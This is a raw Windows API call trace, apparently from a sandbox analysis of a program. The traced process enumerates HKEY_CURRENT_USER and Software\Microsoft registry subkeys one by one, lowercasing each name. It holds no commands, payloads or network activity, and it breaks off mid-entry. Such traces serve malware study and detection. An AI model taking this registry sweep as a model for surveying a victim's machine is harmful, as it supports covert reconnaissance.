[0164.227] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.227] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.227] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.227] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.227] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x4, lpName=0x429d18, cchName=0x104 | out: lpName="EUDC") returned 0x0 [0164.227] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eudc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0164.227] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eudc", cchWideChar=4, lpMultiByteStr=0x1dc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eudc", lpUsedDefaultChar=0x0) returned 4 [0164.227] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.227] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.228] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.228] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.228] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x5, lpName=0x429d18, cchName=0x104 | out: lpName="Identities") returned 0x0 [0164.228] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identities", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0164.228] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identities", cchWideChar=10, lpMultiByteStr=0x1dc240, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identities", lpUsedDefaultChar=0x0) returned 10 [0164.228] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.228] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.228] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.228] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.228] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x6, lpName=0x429d18, cchName=0x104 | out: lpName="Keyboard Layout") returned 0x0 [0164.228] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard layout", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0164.228] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard layout", cchWideChar=15, lpMultiByteStr=0x1dc120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyboard layout", lpUsedDefaultChar=0x0) returned 15 [0164.228] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.228] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.228] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.228] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.228] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x7, lpName=0x429d18, cchName=0x104 | out: lpName="Network") returned 0x0 [0164.228] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0164.228] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x1dc240, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0164.228] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.228] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.228] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.228] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.228] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x8, lpName=0x429d18, cchName=0x104 | out: lpName="Printers") returned 0x0 [0164.228] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="printers", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0164.228] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="printers", cchWideChar=8, lpMultiByteStr=0x1dc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="printers", lpUsedDefaultChar=0x0) returned 8 [0164.228] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.229] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.229] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.229] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.229] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x9, lpName=0x429d18, cchName=0x104 | out: lpName="Software") returned 0x0 [0164.229] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0164.229] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1dc240, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0164.229] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.229] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.229] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.229] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.229] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software", ulOptions=0x0, samDesired=0x20109, phkResult=0x41f720 | out: phkResult=0x41f720*=0x110) returned 0x0 [0164.229] RegCloseKey (hKey=0x80000001) returned 0x0 [0164.229] RegEnumKeyW (in: hKey=0x110, dwIndex=0x0, lpName=0x429d18, cchName=0x104 | out: lpName="Adobe") returned 0x0 [0164.229] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobe", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0164.229] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobe", cchWideChar=5, lpMultiByteStr=0x1dc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobe", lpUsedDefaultChar=0x0) returned 5 [0164.229] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.229] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.229] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.229] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.229] RegEnumKeyW (in: hKey=0x110, dwIndex=0x1, lpName=0x429d18, cchName=0x104 | out: lpName="AppDataLow") returned 0x0 [0164.229] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appdatalow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0164.229] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appdatalow", cchWideChar=10, lpMultiByteStr=0x1dc240, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appdatalow", lpUsedDefaultChar=0x0) returned 10 [0164.229] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.229] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.229] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.229] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.230] RegEnumKeyW (in: hKey=0x110, dwIndex=0x2, lpName=0x429d18, cchName=0x104 | out: lpName="Clients") returned 0x0 [0164.230] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0164.230] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x1dc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0164.230] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.230] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.230] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.230] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.230] RegEnumKeyW (in: hKey=0x110, dwIndex=0x3, lpName=0x429d18, cchName=0x104 | out: lpName="Google") returned 0x0 [0164.230] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="google", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0164.230] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="google", cchWideChar=6, lpMultiByteStr=0x1dc240, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="google", lpUsedDefaultChar=0x0) returned 6 [0164.230] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.230] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.230] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.230] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.230] RegEnumKeyW (in: hKey=0x110, dwIndex=0x4, lpName=0x429d18, cchName=0x104 | out: lpName="JavaSoft") returned 0x0 [0164.230] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="javasoft", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0164.230] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="javasoft", cchWideChar=8, lpMultiByteStr=0x1dc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="javasoft", lpUsedDefaultChar=0x0) returned 8 [0164.230] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.230] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.230] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.230] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.230] RegEnumKeyW (in: hKey=0x110, dwIndex=0x5, lpName=0x429d18, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0164.230] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0164.230] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x1dc240, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0164.230] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.230] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.230] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.230] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.230] RegEnumKeyW (in: hKey=0x110, dwIndex=0x6, lpName=0x429d18, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0164.231] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0164.231] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x1dc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0164.231] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.231] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.231] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.231] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.231] RegOpenKeyExW (in: hKey=0x110, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x41f720 | out: phkResult=0x41f720*=0xf8) returned 0x0 [0164.231] RegCloseKey (hKey=0x110) returned 0x0 [0164.231] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x0, lpName=0x429d18, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0164.231] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0164.231] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x1dc240, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0164.231] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.231] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.231] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.231] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.231] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x1, lpName=0x429d18, cchName=0x104 | out: lpName="ActiveMovie") returned 0x0 [0164.231] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activemovie", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0164.231] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activemovie", cchWideChar=11, lpMultiByteStr=0x1dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activemovie", lpUsedDefaultChar=0x0) returned 11 [0164.231] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.231] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.231] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.231] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.231] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x2, lpName=0x429d18, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0164.231] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0164.231] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x1dc240, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0164.232] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.232] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.232] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.232] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.232] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x3, lpName=0x429d18, cchName=0x104 | out: lpName="ASF Stream Descriptor File") returned 0x0 [0164.232] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asf stream descriptor file", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0164.232] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asf stream descriptor file", cchWideChar=26, lpMultiByteStr=0x1dc120, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asf stream descriptor file", lpUsedDefaultChar=0x0) returned 26 [0164.232] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.232] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.232] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.232] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.232] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x4, lpName=0x429d18, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0164.232] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0164.232] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x1dc240, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0164.232] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.232] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.232] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.232] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.232] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x5, lpName=0x429d18, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0164.232] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0164.232] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x1dc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0164.232] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.232] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.232] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.232] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.232] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x6, lpName=0x429d18, cchName=0x104 | out: lpName="CTF") returned 0x0 [0164.232] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0164.232] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x1dc240, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0164.233] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.233] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.233] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.233] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.233] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x7, lpName=0x429d18, cchName=0x104 | out: lpName="Direct3D") returned 